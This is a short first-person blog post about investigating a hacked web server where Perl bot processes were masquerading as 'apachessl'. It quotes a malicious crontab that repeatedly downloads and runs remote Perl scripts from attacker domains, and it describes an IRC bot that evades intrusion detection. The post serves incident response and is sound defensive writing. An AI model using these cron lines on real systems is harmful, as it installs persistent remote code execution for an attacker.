inportb.com went down last night, so I decided to investigate. When I logged in, I found:$ ps aux | grep apache
www-data 3454 0.0 0.8 32032 4168 ? S Sep23 0:00 /usr/bin/apachessl
www-data 9236 0.0 0.8 32032 4172 ? S Sep23 0:00 /usr/bin/apachessl
www-data 9250 0.0 0.8 32032 4172 ? S Sep23 0:00 /usr/bin/apachessl
www-data 9264 0.0 0.8 32032 4172 ? S Sep23 0:00 /usr/bin/apachessl
... ... ...
... and so on. There were dozens of processes named /usr/bin/apachessl
and no memory left. All the processes were owned by www-data
(the web server's account) and children of init
(i.e. daemonized). When I killed these processes, they returned after a few minutes. At first glance, one might conclude that something was making the web server fork out of control.
The kicker was that 1) I use nginx, 2) I don't have apache installed, and 3) there's no /usr/bin/apachessl
on the filesystem. Wait, what?
Suspecting that some rogue process was renaming itself to avoid detection, I dug around under /proc
to locate the executable image. It turned out to be none other than the Perl interpreter
. This was a Perl script.
Checking my crontabs, I found:$ cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Sep 14 02:20:01 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc.txt
*/30 * * * * cd /tmp;wget http://updates.dyndnss-web.com/.../xyz.txt;curl -O http://updates.dyndnss-web.com/.../xyz.txt;perl xyz.txt;rm -f xyz.txt
Whoa! I don't remember installing this crontab. Here's a pastebin mirror of abc.txt
. Doesn't it look like a bot that calls home to an IRC server? Yet, this is no ordinary IRC server: it runs on port 8080 and speaks HTTP at first (fooling some intrusion detection systems), but quickly switches to IRC. Unfortunately, I wasn't able to retrieve xyz.txt
So I killed all the rogue processes, cleaned up the crontab, and rebooted; so far, the processes haven't returned. I also updated/reinstalled Wordpress for good luck
What do you think?